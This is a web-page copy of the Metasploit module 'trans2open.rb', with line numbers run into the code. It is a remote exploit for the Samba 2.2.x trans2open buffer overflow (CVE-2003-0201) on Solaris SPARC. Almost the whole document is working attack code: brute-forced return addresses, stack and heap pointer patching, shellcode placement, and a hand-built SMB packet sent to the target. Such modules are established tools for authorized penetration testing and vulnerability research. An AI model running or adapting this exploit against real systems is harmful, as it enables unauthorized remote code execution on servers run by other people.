Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/solaris/samba/trans2open.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SMB::Client9include Msf::Exploit::Brute1011def initialize(info = {})12super(update_info(info,13'Name' => 'Samba trans2open Overflow (Solaris SPARC)',14'Description' => %q{15This exploits the buffer overflow found in Samba versions162.2.0 to 2.2.8. This particular module is capable of17exploiting the flaw on Solaris SPARC systems that do not18have the noexec stack option set. Big thanks to MC and19valsmith for resolving a problem with the beta version of20this module.21},22'Author' => [ 'hdm', 'jduck' ],23'License' => MSF_LICENSE,24'References' =>25[26[ 'CVE', '2003-0201' ],27[ 'OSVDB', '4469' ],28[ 'BID', '7294' ],29[ 'URL', 'https://seclists.org/bugtraq/2003/Apr/103' ]30],31'Privileged' => true,32'Payload' =>33{34'Space' => 1024,35'BadChars' => "\x00",36'MinNops' => 512,37},38'Platform' => 'solaris',39'Targets' =>40[41[ 'Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce',42{43'PtrToNonZero' => 0xffbffffc, # near the bottom of the stack44'Offset' => 1103,45'Bruteforce' =>46{47'Start' => { 'Ret' => 0xffbffaf0 },48'Stop' => { 'Ret' => 0xffbfa000 },49'Step' => 12850}51}52],5354[ 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce',55{56'PtrToNonZero' => 0xffbefffc, # near the bottom of the stack57'Offset' => 1103,58'Bruteforce' =>59{60'Start' => { 'Ret' => 0xffbefaf0 },61'Stop' => { 'Ret' => 0xffbea000 },62'Step' => 12863}64}65]66],67'DefaultTarget' => 0,68'DisclosureDate' => '2003-04-07'69))7071register_options(72[73Opt::RPORT(139)74])7576deregister_options('SMB::ProtocolVersion')77end7879def brute_exploit(addrs)8081curr_ret = addrs['Ret']82begin83print_status("Trying return address 0x%.8x..." % curr_ret)8485connect(versions: [1])86smb_login8788#89# The obstacle course:90# outsize = smb_messages[type].fn(conn, inbuf,outbuf,size,bufsize);91# smb_dump(smb_fn_name(type), 0, outbuf, outsize);92# return(outsize);93#9495# This value *must* be 1988 to allow findrecv shellcode to work96pattern = rand_text_english(1988)9798#99# This was tested against sunfreeware samba 2.2.7a / solaris 9 / sun4u100#101# Patch the overwritten heap pointers102# substr($pattern, 1159, 4, pack('N', $target->[4]));103# substr($pattern, 1163, 4, pack('N', $target->[4]));104#105# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0106# substr($pattern, 1195, 4, pack('N', 0xffffffff));107#108# Fix the frame pointer (need to check for null in address)109# substr($pattern, 1243, 4, pack('N', $target->[3]-64));110#111# Finally set the return address112# substr($pattern, 1247, 4, pack('N', $curr_ret));113#114115#116# This method is more reliable against a wider range of targets117#118119off = target['Offset']120ptr_to_non_zero = target['PtrToNonZero']121122# Local variable pointer patches for early versions of 2.2.x123pattern[off, 36] = [ptr_to_non_zero - 1024].pack('N') * 9124off += 36125126# Overwrite heap pointers with a ptr to NULL at the top of the stack127pattern[off, 40] = [ptr_to_non_zero - 1024].pack('N') * 10128off += 40129130# Patch the type index into the smb_messages[] array...131# >:-) smb_messages[ (((type << 1) + type) << 2) ] == 0132pattern[off, 20] = [0xffffffff].pack('N') * 5133off += 20134135# This stream covers the framepointer and the return address136pattern[off, 400] = [curr_ret].pack('N') * 100137138# Stuff the shellcode into the request139pattern[3, payload.encoded.length] = payload.encoded140141trans =142"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+143"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+144"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+145"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+146"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+147"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+148pattern149150sock.put(trans)151handler152disconnect153154rescue EOFError155rescue => e156print_error("#{e}")157end158159end160end161162163